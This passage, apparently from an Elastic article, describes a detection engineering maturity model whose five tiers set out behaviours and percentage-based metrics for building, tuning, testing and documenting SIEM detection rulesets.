The Detection Engineering Behavior Maturity Model outlines five maturity tiers (Foundation, Basic, Intermediate, Advanced, and Expert) for security teams to achieve. Each tier builds upon the previous one, guiding teams through a structured and iterative process of enhancing their behaviors and practices. While teams may demonstrate behaviors at different tiers, skipping or deprioritizing criteria at the prior tiers is generally not recommended. Consistently meeting the expectations at each tier is crucial for creating a solid foundation for progression. However, measuring maturity over time becomes challenging as threats and technologies evolve, making it difficult to define maturity in an evergreen way. This model emphasizes continuous improvement rather than reaching a fixed destination, reflecting the ongoing nature of security work.

Note it is possible, and sometimes necessary, to attempt the behaviors of a higher tier in addition to the behaviors of your current tier. For example, attempting to enhance Advanced TTP Coverage may cover an immediate risk or threat, further cultivating expertise among engineers at the basic level. This flexibility ensures that security teams can prioritize critical improvements and adapt to evolving threats without feeling constrained by the need to achieve perfection at each level. The dual dimensions of maturity ensure a balanced approach, fostering a culture of ongoing enhancement and adaptability. Additionally, the model is designed to complement well-adopted frameworks in the security domain, adding unique value by focusing on the maturity of the team's processes and behaviors that underpin effective detection ruleset management.

Among the several references listed in the table, the Detection Engineering Maturity Matrix is the closest related, given its goals and methodologies. The matrix defines precise maturity levels for processes, technology, and team skills, while the DEBMM builds on this foundation by emphasizing continuous improvement in engineering behaviors and practices. Together, they offer a comprehensive approach to advancing detection engineering capabilities, ensuring structural and behavioral excellence in managing detection rulesets while describing a common lexicon.

A Small Note on Perspectives and the Importance of the Model

Individuals with diverse backgrounds commonly perform detection engineering. People managing detecting engineering processes must recognize and celebrate the value of diverse backgrounds; DEBMM is about teams of individuals, vendors, and users, each bringing different viewpoints to the process. This model lays the groundwork for more robust frameworks to follow, complementing existing ones previously mentioned while considering other perspectives.

What is a threat detection ruleset?

Before we dive into the behaviors necessary to mature our rulesets, let's first define the term. A threat detection ruleset is a group of rules that contain information and some form of query logic that attempts to match specific threat activity in collected data. These rules typically have a schema, information about the intended purpose, and a query formatted for its specific query language to match threat behaviors. Below are some public examples of threat detection rulesets:

• Elastic: Detection Rules | Elastic Defend Rules
• Sigma: Sigma Rules
• DataDog: Detection Rules
• Splunk: Detections
• Panther: Detection Rules

Detection rulesets often fall between simple Indicator of Compromise (IOC) matching and programmable detections, such as those written in Python for Panther. They balance flexibility and power, although they are constrained by the detection scripting language's design biases and the detection engine's features. It is important to note that this discussion is focused on search-based detection rules typically used in SIEM (Security Information and Event Management) systems. Other types of detections, including on-stream and machine learning-based detections, can complement SIEM rules but are not explicitly covered by this model.

Rulesets can be further categorized based on specific criteria. For example, one might assess the Amazon Web Services (AWS) ruleset in Elastic’s Detection Rules repository rather than rules based on all available data sources. Other categories might include all cloud-related rulesets, credential access rulesets, etc.

Why ruleset maturity is important

Problem: It shouldn't matter which kind of ruleset you use; they all benefit from a system that promotes effectiveness and rigor. The following issues are more prominent if you're using an ad-hoc or nonexistent system of maturity:

• SOC Fatigue and Low Detection Accuracy: The overwhelming nature of managing high volumes of alerts, often leading to burnout among SOC analysts, is compounded by low-fidelity detection logic and high false positive (FP) rates, resulting in a high number of alerts that are not actual threats and do not accurately identify malicious activity.
• Lack of Contextual Information and Poor Documentation: Detection rules that trigger alerts without sufficient contextual information to understand the event's significance or lack of guidance for the course of action, combined with insufficient documentation for detection rules, including their purpose, logic, and expected outcomes.
• Inconsistent Rule Quality: Variability in the quality and effectiveness of detection rules.
• Outdated Detection Logic: Detection rules must be updated to reflect the latest threat intelligence and attack techniques.
• Overly Complex Rules: Detection rules that are too complex, making them difficult to maintain and understand.
• Lack of Automation: Reliance on manual processes for rule updates, alert triage, and response.
• Inadequate Testing and Validation: Detection rules must be thoroughly tested and validated before deployment.
• Inflexible Rulesets: Detection rules that are not adaptable to environmental changes or new attack techniques.
• Lack of Metrics, Measurement, and Coverage Insights: More metrics are needed to measure the effectiveness, performance, and coverage of detection rules across different areas.
• Siloed Threat Intelligence: Threat intelligence must be integrated with detection rules, leading to fragmented and incomplete threat detection.
• Inability to Prioritize New Rule Creation: Without a maturity system, teams might focus on quick wins or more exciting areas rather than what is needed.

Opportunity: This model encourages a structured approach to developing, managing, improving, and maintaining quality detection rulesets, helping security teams to:

• Reduce SOC fatigue by optimizing alert volumes and improving accuracy.
• Enhance detection fidelity with regularly updated and well-tested rules.
• Ensure consistent and high-quality detection logic across the entire ruleset.
• Integrate contextual information and threat intelligence for more informed alerting.
• Automate routine processes to improve efficiency and reduce manual errors.
• Continuously measure and improve the performance of detection rules.
• Stay ahead of threats, maintain effective detection capabilities, and enhance their overall security posture.

Understanding the DEBMM Structure

DEBMM is segmented into tiers related to criteria to quantitatively and qualitatively convey maturity across different levels, each contributing to clear progression outcomes. It is designed to guide security teams through a structured set of behaviors to develop, manage, and maintain their detection rulesets.

Tiers

The DEBMM employs a multidimensional approach to maturity, encompassing both high-level tiers and granular levels of behaviors within each tier. The first dimension involves the overall maturity tiers, where criteria should be met progressively to reflect overall maturity. The second dimension pertains to the levels of behaviors within each tier, highlighting specific practices and improvements that convey maturity. This structure allows for flexibility and recognizes that maturity can be demonstrated in various ways. The second dimension loosely aligns with the NIST Cybersecurity Framework (CSF) maturity levels (Initial, Repeatable, Defined, Managed, and Optimized), providing a familiar reference point for security teams. For instance, the qualitative behaviors and quantitative measurements within each DEBMM tier mirror the iterative refinement and structured process management advocated by the NIST CSF. By aligning with these principles, the DEBMM ensures that as teams progress through its tiers, they also embody the best practices and structured approach seen in the NIST CSF.

At a high level, the DEBMM consists of five maturity tiers, each building upon the previous one:

1. Tier 0: Foundation - No structured approach to rule development and management. Rules are created and maintained ad-hoc, with little documentation, peer review, stakeholder communication, or personnel training.
2. Tier 1: Basic - Establishment of baseline rules, systematic rule management, version control, documentation, regular reviews of the threat landscape, and initial personnel training.
3. Tier 2: Intermediate - Focus on continuously tuning rules to reduce false positives, identifying and documenting gaps, thorough internal testing and validation, and ongoing training and development for personnel.
4. Tier 3: Advanced - Systematic identification and ensuring that legitimate threats are not missed (false negatives), engaging in external validation of rules, covering advanced TTPs, and advanced training for analysts and security experts.
5. Tier 4: Expert - This level is characterized by advanced automation, seamless integration with other security tools, continuous improvement through regular updates and external collaboration, and comprehensive training programs for all levels of security personnel. Proactive threat hunting plays a crucial role in maintaining a robust security posture. It complements the ruleset, enhancing the management process by identifying new patterns and insights that can be incorporated into detection rules. Additionally, although not commonly practiced by vendors, detection development as a post-phase of incident response can provide valuable insights and enhance the overall effectiveness of the detection strategy.

It's ideal to progress through these tiers following an approach that best meets the security team's needs (e.g., sequentially, prioritizing by highest risk, etc.). Progressing through the tiers comes with increased operational costs, and rushing through the maturity model without proper budget and staff can lead to burnout and worsen the situation. Skipping foundational practices in the lower tiers can undermine the effectiveness of more advanced activities in the higher tiers.

Consistently meeting the expectations at each tier ensures a solid foundation for moving to the next level. Organizations should strive to iterate and improve continuously, recognizing that maturity is dynamic. The expert level represents an advanced state of maturity, but it is not the final destination. It requires ongoing commitment and adaptation to stay at that level. Organizations may experience fluctuations in their maturity level depending on the frequency and accuracy of assessments. This is why the focus should be on interactive development and recognize that different maturity levels within the tiers may be appropriate based on the organization's specific needs and resources.

Criteria and Levels

Each tier is broken down into specific criteria that security teams must meet. These criteria encompass various aspects of detection ruleset management, such as rule creation, management, telemetry quality, threat landscape review, stakeholder engagement, and more.

Within each criterion, there are qualitative behaviors and quantitative measurements that define the levels of maturity:

• Qualitative Behaviors—State of Ruleset: These subjective assessments are based on the quality and thoroughness of the ruleset and its documentation. They provide a way to evaluate the current state of the ruleset, helping threat researchers and detection engineers **understand and articulate the maturity of their ruleset in a structured manner. While individual perspectives can influence these behaviors and may vary between assessors, they are helpful for initial assessments and for providing detailed insights into the ruleset's state.
• Quantitative Measurements - Activities to Maintain State: These provide a structured way to measure the activities and processes that maintain or improve the ruleset. They are designed to be more reliable for comparing the maturity of different rulesets and help track progress over time. While automation can help measure these metrics consistently, reflecting the latest state of maturity, each organization needs to define the ideal for its specific context. The exercise of determining and calculating these metrics will contribute significantly to the maturity process, ensuring that the measures are relevant and tailored to the unique needs and goals of the security team. Use this model as guidance, but establish and adjust specific calculations and metrics according to your organizational requirements and objectives.

Similar to Tiers, each level within the qualitative and quantitative measurements builds upon the previous one, indicating increasing maturity and sophistication in the approach to detection ruleset management. The goal is to provide clear outcomes and a roadmap for security teams to systematically and continuously improve their detection rulesets.

Scope of Effort to Move from Basic to Expert

Moving from the basic to the expert tier involves a significant and sustained effort. As teams progress through the tiers, the complexity and depth of activities increase, requiring more resources, advanced skills, and comprehensive strategies. For example, transitioning from Tier 1 to Tier 2 involves systematic rule tuning and detailed gap analysis, while advancing to Tier 3 and Tier 4 requires robust external validation processes, proactive threat hunting, and sophisticated automation. This journey demands commitment, continuous learning, and adaptation to the evolving threat landscape.

Tier 0: Foundation

Teams must build a structured approach to rule development and management at the foundational tier. Detection rules may start out being created and maintained ad hoc, with little to no peer review, and often needing proper documentation and stakeholder communication. Threat modeling initially rarely influences the creation and management of detection rules, resulting in a reactive rather than proactive approach to threat detection. Additionally, there may be little to no roadmap documented or planned for rule development and updates, leading to inconsistent and uncoordinated efforts.

Establishing standards for what defines a good detection rule is essential to guiding teams toward higher maturity levels. It is important to recognize that a rule may not be perfect in its infancy and will require continuous improvement over time. This is acceptable if analysts are committed to consistently refining and enhancing the rule. We provide recommendations on what a good rule looks like based on our experience, but organizations must define their perfect rule considering their available capabilities and resources.

Regardless of the ruleset, a rule should include specific fields that ensure its effectiveness and accuracy. Different maturity levels will handle these fields with varying completeness and accuracy. While more content provides more opportunities for mistakes, the quality of a rule should improve with the maturity of the ruleset. For example, a better query with fewer false positives, more descriptions with detailed information, and up-to-date MITRE ATT&CK information are indicators of higher maturity.

By establishing and progressively improving these criteria, teams can enhance the quality and effectiveness of their detection rulesets. Fundamentally, it starts with developing, managing, and maintaining a single rule. Creating a roadmap for rule development and updates, even at the most basic level, can provide direction and ensure that improvements are systematically tracked and communicated. Most fields should be validated against a defined schema to provide consistency. For more details, see the Example Rule Fields.

Criteria

Structured Approach to Rule Development and Management

• Qualitative Behaviors - State of Ruleset:
  • Initial: No structured approach; rules created randomly without documentation.
  • Repeatable: Minimal structure; some rules are created with primary documentation.
  • Defined: Standardized process for rule creation with detailed documentation and alignment with defined schemas.
  • Managed: Regularly reviewed and updated rules, ensuring consistency and adherence to documented standards, with stakeholder involvement.
  • Optimized: Continuous improvement based on feedback and evolving threats, with automated rule creation and management processes.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No formal activities for rule creation.
  • Repeatable: Sporadic creation of rules with minimal oversight or review; less than 20% of rules have complete documentation; less than 10% of rules are aligned with a defined schema; rules created do not undergo any formal approval process.
  • Defined: Regular creation and documentation of rules, with 50-70% alignment to defined schemas and peer review processes.
  • Managed: Comprehensive creation and management activities, with 70-90% of rules having complete documentation and formal approval processes.
  • Optimized: Fully automated and integrated rule creation and management processes, with 90-100% alignment to defined schemas and continuous documentation updates.

Creation and Maintenance of Detection Rules

• Qualitative Behaviors - State of Ruleset:
  • Initial: Rules created and modified ad hoc, without version control.
  • Repeatable: Occasional updates to rules, but still need a systematic process.
  • Defined: Systematic process for rule updates, including version control and regular documentation.
  • Managed: Regular, structured updates with detailed documentation, version control, and stakeholder communication.
  • Optimized: Continuous rule improvement with automated updates, comprehensive documentation, and proactive stakeholder engagement.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No formal activities are required to maintain detection rules.
  • Repeatable: Rules are updated sporadically, with less than 50% of rules reviewed annually; more than 30% of rules have missing or incomplete descriptions, references, or documentation; less than 20% of rules are peer-reviewed; less than 20% of rules include escalation procedures or guides; less than 15% of rules have associated metadata for tracking rule effectiveness and modifications.
  • Defined: Regular updates with 50-70% of rules reviewed annually; detailed descriptions, references, and documentation for most rules; 50% of rules are peer-reviewed.
  • Managed: Comprehensive updates with 70-90% of rules reviewed annually; complete descriptions, references, and documentation for most rules; 70% of rules are peer-reviewed.
  • Optimized: Automated updates with 90-100% of rules reviewed annually; thorough descriptions, references, and documentation for all rules; 90-100% of rules are peer-reviewed and include escalation procedures and guides.

Roadmap Documented or Planned

• Qualitative Behaviors - State of Ruleset:
  • Initial: No roadmap documented or planned for rule development and updates.
  • Repeatable: A basic roadmap exists for some rules, with occasional updates and stakeholder communication.
  • Defined: A comprehensive roadmap is documented for most rules, with regular updates and stakeholder involvement.
  • Managed: Detailed, regularly updated roadmap covering all rules, with proactive stakeholder communication and involvement.
  • Optimized: Dynamic, continuously updated roadmap integrated into organizational processes, with full stakeholder engagement and alignment with strategic objectives.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No documented roadmap for rule development and updates.
  • Repeatable: Basic roadmap documented for less than 30% of rules; fewer than two roadmap updates or stakeholder meetings per year; less than 20% of rules have a planned update schedule; no formal process for tracking roadmap progress.
  • Defined: Roadmap documented for 50-70% of rules; regular updates and stakeholder meetings; 50% of rules have a planned update schedule.
  • Managed: Comprehensive roadmap for 70-90% of rules; frequent updates and stakeholder meetings; 70% of rules have a planned update schedule and tracked progress.
  • Optimized: Fully integrated roadmap for 90-100% of rules; continuous updates and proactive stakeholder engagement; 90-100% of rules have a planned update schedule with formal tracking processes.

Threat Modeling Performed

• Qualitative Behaviors - State of Ruleset:
  • Initial: No threat modeling was performed.
  • Repeatable: Occasional, ad-hoc threat modeling with minimal impact on rule creation without considering data and environment specifics.
  • Defined: Regular threat modeling with structured processes influencing rule creation, considering data and environment specifics.
  • Managed: Comprehensive threat modeling integrated into rule creation and updates, with detailed documentation and stakeholder involvement.
  • Optimized: Continuous, proactive threat modeling with real-time data integration, influencing all aspects of rule creation and management with full stakeholder engagement.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No formal threat modeling activities.
  • Repeatable: Sporadic threat modeling efforts; less than one threat modeling exercise conducted per year with minimal documentation or impact analysis; threat models are reviewed or updated less than twice a year; less than 10% of new rules are based on threat modeling outcomes, and data and environment specifics are not consistently considered.
  • Defined: Regular threat modeling efforts; one to two annual exercises with detailed documentation and impact analysis; threat models reviewed or updated quarterly; 50-70% of new rules are based on threat modeling outcomes.
  • Managed: Comprehensive threat modeling activities; three to four exercises conducted per year with thorough documentation and impact analysis; threat models reviewed or updated bi-monthly; 70-90% of new rules are based on threat modeling outcomes.
  • Optimized: Continuous threat modeling efforts; monthly exercises with real-time documentation and impact analysis; threat models reviewed or updated continuously; 90-100% of new rules are based on threat modeling outcomes, considering data and environment specifics.

Tier 1: Basic

The basic tier involves creating a baseline of rules to cover fundamental threats. This includes differentiating between baseline rules for core protection and other supporting rules. Systematic rule management, including version control and documentation, is established. There is a focus on improving and maintaining telemetry quality and reviewing threat landscape changes regularly. At Elastic, we have always followed a Detections as Code (DAC) approach to rule management, which has helped us maintain our rulesets. We have recently exposed some of our internal capabilities and documented core DAC principles for the community to help improve your workflows.

Criteria

Creating a Baseline

Creating a baseline of rules involves developing a foundational set of rules to cover basic threats. This process starts with understanding the environment and the data available, ensuring that the rules are tailored to the specific needs and capabilities of the organization. The focus should be on critical tactics such as initial access, execution, persistence, privilege escalation, command & control, and critical assets determined by threat modeling and scope. A baseline is defined as the minimal rules necessary to detect critical threats within these tactics or assets, recognizing that not all techniques may be covered. Key tactics are defined as the initial stages of an attack lifecycle where attackers gain entry, establish a foothold, and escalate privileges to execute their objectives. Major threats are defined as threats that can cause significant harm or disruption to the organization, such as ransomware, data exfiltration, and unauthorized access. Supporting rules, such as Elastic’s Building Block Rules (BBR), help enhance the overall detection capability.

Given the evolution of SIEM and the integration of Endpoint Detection and Response (EDR) solutions, there is an alternative first step for users who utilize an EDR. Only some SIEM users have an EDR, so this step may only apply to some, but organizations should validate that their EDR provides sufficient coverage of basic TTPs. Once this validation is complete, you may supplement that coverage for specific threats of concern based on your environment. Identify high-value assets and profile what typical host and network behavior looks like for them. Develop rules to detect deviations, such as new software installations or unexpected network connections, to ensure a comprehensive security posture tailored to your needs.

Comprehensive documentation goes beyond basic descriptions to include detailed explanations, investigative steps, and context about each rule. For example, general documentation states the purpose of a rule and its query logic. In contrast, comprehensive documentation provides an in-depth analysis of the rule's intent, the context of its application, detailed steps for investigation, potential false positives, and related rules. Comprehensive documentation ensures that security analysts have all the necessary information to effectively utilize and maintain the rule, leading to more accurate and actionable detections.

It would begin with an initial context explaining the technology behind the rule, outlining the risks and why the user should care about them, and detailing what the rule does and how it operates. This would be followed by possible investigation steps, including triage, scoping, and detailed investigation steps to analyze the alert thoroughly. A section on false positive analysis also provides steps to identify and mitigate false positives, ensuring the rule's accuracy and reliability. The documentation would also list related rules, including their names and IDs, to provide a comprehensive view of the detection landscape. Finally, response and remediation actions would be outlined to guide analysts in containing, remediating, and escalating the alert based on the triage results, ensuring a swift and effective response to detected threats. Furthermore, a setup guide section would be added to explain any prerequisite setup information needed to properly function, ensuring that users have all the necessary configuration details before deploying the rule.

• Qualitative Behaviors - State of Ruleset:
  • Initial: A few baseline rules are created to set the foundation for the ruleset.
  • Repeatable: Some baseline rules were created covering key tactics (initial access, execution, persistence, privilege escalation, and command and control) for well-documented threats.
  • Defined: Comprehensive baseline rules covering significant threats (e.g., ransomware, data exfiltration, unauthorized access) created and documented.
  • Managed: Queries and rules are validated against the defined schema that aligns with the security product before release.
  • Optimized: Continuous improvement and fine-tuning baseline rules with advanced threat modeling and automation.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: 5-10 baseline rules created and documented per ruleset (e.g., AWS S3 ruleset, AWS Lambda ruleset, Azure ruleset, Endpoint ruleset).
  • Repeatable: More than ten baseline rules are created and documented per ruleset, covering major techniques based on threat modeling (e.g., probability of targeting, data source availability, impact on critical assets); at least 10% of rules go through a diagnostic phase.
  • Defined: A significant percentage (e.g., 60-70%) baseline of ATT&CK techniques covered per data source​​; 70-80% of rules tested as diagnostic (beta) rules before production; regular updates and validation of rules.
  • Managed: 90% or more of baseline ATT&CK techniques covered per data source; 100% of rules undergo a diagnostic phase before production; comprehensive documentation and continuous improvement processes are in place.
  • Optimized: 100% coverage of baseline ATT&CK techniques per data source; automated diagnostic and validation processes for all rules; continuous integration and deployment (CI/CD) for rule updates.

Managing and Maintaining Rulesets

A systematic approach to managing and maintaining rules, including version control, documentation, and validation.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No rule management.
  • Repeatable: Occasional rule processes with some documentation and a recurring release cycle for rules.
  • Defined: Regular rule management with comprehensive documentation and version control.
  • Managed: Applies a Detections as Code (schema validation, query validation, versioning, automation, etc.) approach to rule management.
  • Optimized: Advanced automated processes with continuous weekly rule management and validation; complete documentation and version control for all rules.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No rule management activities.
  • Repeatable: Basic rule management activities are conducted quarterly; less than 20% of rules have version control.
  • Defined: Regular rule updates and documentation are conducted monthly; 50-70% of rules have version control and comprehensive documentation.
  • Managed: Automated processes for rule management and validation are conducted bi-weekly; 80-90% of rules are managed using Detections as Code principles.
  • Optimized: Advanced automated processes with continuous weekly rule management and validation; 100% of rules managed using Detections as Code principles, with complete documentation and version control.

Improving and Maintaining Telemetry Quality

Begin conversations and develop relationships with teams managing telemetry data. This applies differently to various security teams: for vendors, it may involve data from all customers; for SOC or Infosec teams, it pertains to company data; and for MSSPs, it covers data from managed clusters. Having good data sources is crucial for all security teams to ensure the effectiveness and accuracy of their detection rules. This also includes incorporating cyber threat intelligence (CTI) workflows to enrich telemetry data with relevant threat context and indicators, improving detection capabilities. Additionally, work with your vendor and align your detection engineering milestones with their feature milestones to ensure you're utilizing the best tooling and getting the most out of your detection rules. This optional criterion can be skipped if not applicable to internal security teams.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No updates or improvements to telemetry to improve the ruleset.
  • Repeatable: Occasional manual updates and minimal ad hoc collaboration.
  • Defined: Regular updates with significant integration and formalized collaboration, including communication with Points of Contact (POCs) from integration teams and initial integration of CTI data.
  • Managed: Comprehensive updates and collaboration with consistent integration of CTI data, enhancing the contextual relevance of telemetry data and improving detection accuracy.
  • Optimized: Advanced integration of CTI workflows with telemetry data, enabling real-time enrichment and automated responses to emerging threats.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No telemetry updates or improvements.
  • Repeatable: Basic manual updates and improvements occurring sporadically; less than 30% of rule types produce telemetry/internal data.
  • Defined: Regular manual updates and improvements occurring at least once per quarter, with periodic CTI data integration; 50-70% of telemetry data integrated with CTI; initial documentation of enhancements in data quality and rule effectiveness.
  • Managed: Semi-automated updates with continuous improvements, regular CTI data enrichment, and initial documentation of enhancements in data quality and rule effectiveness; 70-90% of telemetry data integrated with CTI.
  • Optimized: Fully automated updates and continuous improvements, comprehensive CTI integration, and detailed documentation of enhancements in data quality and rule effectiveness; 100% of telemetry data integrated with CTI; real-time enrichment and automated responses to emerging threats.

Reviewing Threat Landscape Changes

Regularly assess and update rules based on changes in the threat landscape, including threat modeling and organizational changes.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No reviews of threat landscape changes.
  • Repeatable: Occasional reviews with minimal updates and limited threat modeling.
  • Defined: Regular reviews and updates to ensure rule relevance and effectiveness, incorporating threat modeling.
  • Managed: Maintaining the ability to adaptively respond to emerging threats and organizational changes, with comprehensive threat modeling and cross-correlation of new intelligence.
  • Optimized: Continuous monitoring and real-time updates based on emerging threats and organizational changes, with dynamic threat modeling and cross-correlation of intelligence.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No reviews conducted.
  • Repeatable: Reviews conducted bi-annually, referencing cyber blog sites and company reports; less than 30% of rules are reviewed based on threat landscape changes.
  • Defined: Comprehensive quarterly reviews conducted, incorporating new organizational changes, documented changes and improvements in rule effectiveness; 50-70% of rules are reviewed based on threat landscape changes.
  • Managed: Continuous monitoring (monthly, weekly, or daily) of cyber intelligence sources, with actionable knowledge implemented and rules adjusted for new assets and departments; 90-100% of rules are reviewed and updated based on the latest threat intelligence and organizational changes.
  • Optimized: Real-time monitoring and updates with automated intelligence integration; 100% of rules are continuously reviewed and updated based on dynamic threat landscapes and organizational changes.

Driving the Feature with Product Owners

Actively engaging with product owners (internal or external) to ensure that the detection needs are on the product roadmap for things related to the detection rule lifecycle or product limitations impacting detection creation. This applies differently for vendors versus in-house security teams. For in-house security teams, this can apply to custom applications developed internally and engaging with vendors or third-party tooling. This implies beginning to build relationships with vendors (such as Elastic) to make feature requests that assist with their detection needs, especially when action needs to be taken by a third party rather than internally.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No engagement with product owners.
  • Repeatable: Ad hoc occasional engagement with some influence on the roadmap.
  • Defined: Regular engagement and significant influence on the product roadmap.
  • Managed: Structured engagement with product owners, leading to consistent integration of detection needs into the product roadmap.
  • Optimized: Continuous, proactive engagement with product owners, ensuring that detection needs are fully integrated into the product development lifecycle with real-time feedback and updates.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No engagements with product owners.
  • Repeatable: 1-2 engagements/requests completed per quarter; less than 20% of requests result in roadmap changes.
  • Defined: More than two engagements/requests per quarter, resulting in roadmap changes and improvements in the detection ruleset; 50-70% of requests result in roadmap changes; regular tracking and documentation of engagement outcomes.
  • Managed: Frequent engagements with product owners leading to more than 70% of requests resulting in roadmap changes; structured tracking and documentation of all engagements and outcomes.
  • Optimized: Continuous engagement with product owners with real-time tracking and adjustments; 90-100% of requests lead to roadmap changes; comprehensive documentation and proactive feedback loops.

End-to-End Release Testing and Validation

Implementing a robust end-to-end release testing and validation process to ensure the reliability and effectiveness of detection rules before pushing them to production. This includes running different tests to catch potential issues and ensure rule accuracy.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No formal testing or validation process.
  • Repeatable: Basic testing with minimal validation.
  • Defined: Comprehensive testing with internal validation processes and multiple gates.
  • Managed: Advanced testing with automated and external validation processes.
  • Optimized: Continuous, automated testing and validation with real-time feedback and improvement mechanisms.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No testing or validation activities.
  • Repeatable: 1-2 ruleset updates per release cycle (release cadence should be driven internally based on resources and internally mandated processes); less than 20% of rules tested before deployment.
  • Defined: Time to end-to-end test and release a new rule or tuning from development to production is less than one week; 50-70% of rules are tested before deployment with documented validation.
  • Managed: Ability to deploy an emerging threat rule within 24 hours; 90-100% of rules tested before deployment using automated and external validation processes; continuous improvement based on test outcomes.
  • Optimized: Real-time testing and validation with automated deployment processes; 100% of rules tested and validated continuously; proactive improvement mechanisms based on real-time feedback and intelligence.

Tier 2: Intermediate

At the intermediate tier, teams continuously tune detection rules to reduce false positives and stale rules. They identify and document gaps in ruleset coverage, testing and validating rules internally with emulation tools and malware detonations to ensure proper alerting. Systematic gap analysis and regular communication with stakeholders are emphasized.

Criteria

Continuously Tuning and Reducing False Positives (FP)

Regularly reviewing and adjusting rules to minimize false positives and stale rules. Establish shared/scalable exception lists when necessary to prevent repetitive adjustments and document past FP analysis to avoid recurring issues.

• Qualitative Behaviors - State of Ruleset:
  • Initial: Minimal tuning activities.
  • Repeatable: Reactive tuning based on alerts and ad hoc analyst feedback.
  • Defined: Proactive and systematic tuning, with documented reductions in FP rates and documented/known data sources, leveraged to reduce FPs.
  • Managed: Continuously tuned activities with detailed documentation and regular stakeholder communication; implemented systematic reviews and updates.
  • Optimized: Automated and dynamic tuning processes integrated with advanced analytics and machine learning to continuously reduce FPs and adapt to new patterns.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No reduction in FP rate (when necessary) based on the overall volume of FP alerts reduced.
  • Repeatable: 10-25% reduction in FP rate over the last quarter.
  • Defined: More than a 25% reduction in FP rate over the last quarter, with metrics varying (rate determined by ruleset feature owner) between SIEM and endpoint rules based on the threat landscape.
  • Managed: Consistent reduction in FP rate exceeding 50% over multiple quarters, with detailed metrics tracked and reported.
  • Optimized: Near real-time reduction in FP rate with automated feedback loops and continuous improvement, achieving over 75% reduction in FP rate.

Understanding and Documenting Gaps

Identifying gaps in ruleset or product coverage is essential for improving data visibility and detection capabilities. This includes documenting missing fields, logging datasets, and understanding outliers in the data. Communicating these gaps with stakeholders and addressing them as "blockers" helps ensure continuous improvement. By understanding outliers, teams can identify unexpected patterns or anomalies that may indicate undetected threats or issues with the current ruleset.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No gap analysis.
  • Repeatable: Occasional gap analysis with some documentation.
  • Defined: Comprehensive and regular gap analysis with detailed documentation and stakeholder communication, including identifying outliers in the data.
  • Managed: Systematic gap analysis integrated into regular workflows, with comprehensive documentation and proactive communication with stakeholders.
  • Optimized: Automated gap analysis using advanced analytics and machine learning, with real-time documentation and proactive stakeholder engagement to address gaps immediately.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No gaps documented.
  • Repeatable: 1-3 gaps in threat coverage (e.g., specific techniques like reverse shells, code injection, brute force attacks) documented and communicated.
  • Defined: More than three gaps in threat coverage or data visibility documented and communicated, including gaps that block rule creation (e.g., lack of agent/logs) and outliers identified in the data.
  • Managed: Detailed documentation and communication of all identified gaps, with regular updates and action plans to address them; over five gaps documented and communicated regularly.
  • Optimized: Continuous real-time gap analysis with automated documentation and communication; proactive measures in place to address gaps immediately; comprehensive tracking and reporting of all identified gaps.

Testing and Validation (Internal)

Performing activities like executing emulation tools, C2 frameworks, detonating malware, or other repeatable techniques to test rule functionality and ensure proper alerting.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No testing or validation.
  • Repeatable: Occasional testing with emulation capabilities.
  • Defined: Regular and comprehensive testing with malware or emulation capabilities, ensuring all rules in production are validated.
  • Managed: Systematic testing and validation processes integrated into regular workflows, with detailed documentation and continuous improvement.
  • Optimized: Automated and continuous testing and validation with advanced analytics and machine learning, ensuring real-time validation and improvement of all rules.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No internal tests were conducted.
  • Repeatable: 40% emulation coverage of production ruleset.
  • Defined: 80% automated testing coverage of production ruleset.
  • Managed: Over 90% automated testing coverage of production ruleset with continuous validation processes.
  • Optimized: 100% automated and continuous testing coverage with real-time validation and feedback loops, ensuring optimal rule performance and accuracy.

Tier 3: Advanced

Advanced maturity involves systematically identifying and addressing false negatives, validating detection rules externally, and covering advanced TTPs (Tactics, Techniques, and Procedures). This tier emphasizes comprehensive and continuous improvement through external assessments and coverage of sophisticated threats.

Criteria

Triaging False Negatives (FN)

Triaging False Negatives (FN) involves systematically identifying and addressing instances where the detection rules fail to trigger alerts for actual threats, referred to as false negatives. False negatives occur when a threat is present in the dataset but is not detected by the existing rules, potentially leaving the organization vulnerable to undetected attacks. Leveraging threat landscape insights, this process documents and assesses false negatives within respective environments, aiming for a threshold of true positives in the dataset using the quantitative criteria.

• Qualitative Behaviors - State of Ruleset:
  • Initial: No triage of false negatives.
  • Repeatable: Sporadic triage with some improvements.
  • Defined: Systematic and regular triage with documented reductions in FNs and comprehensive FN assessments in different threat landscapes.
  • Managed: Proactive triage activities with detailed documentation and stakeholder communication; regular updates to address FNs.
  • Optimized: Continuous, automated triage and reduction of FNs using advanced analytics and machine learning; real-time documentation and updates.
• Quantitative Measurements - Activities to Maintain State:
  • Initial: No reduction in FN rate.
  • Repeatable: 50% of the tested samples or tools used to trigger an alert; less than 10% of rules are reviewed for FNs quarterly; minimal documentation of FN assessments.
  • Defined: 70-90% of the tested samples trigger an alert, with metrics varying based on the threat landscape and detection capabilities; 30-50% reduction in FNs over the past year; comprehensive documentation and review of FNs for at least 50% of the rules quarterly; regular feedback loops established with threat intelligence teams.
  • Managed: 90-100% of tested samples trigger an alert, with consistent FN reduction metrics tracked; over 50% reduction in FNs over multiple quarters; comprehensive documentation and feedback loops for all rules.
  • Optimized: Near real-time FN triage with automated feedback and updates; over 75% reduction in FNs; continuous documentation and proactive measures to address FNs.

External Validation

External Validation involves engaging third parties to validate detection rules through various methods, including red team exercises, third-party assessments, penetration testing, and collaboration with external threat intelligence providers. By incorporating diverse perspectives and expertise, this process ensures that the detection rules are robust, comprehensive, and effective against real-world threats.

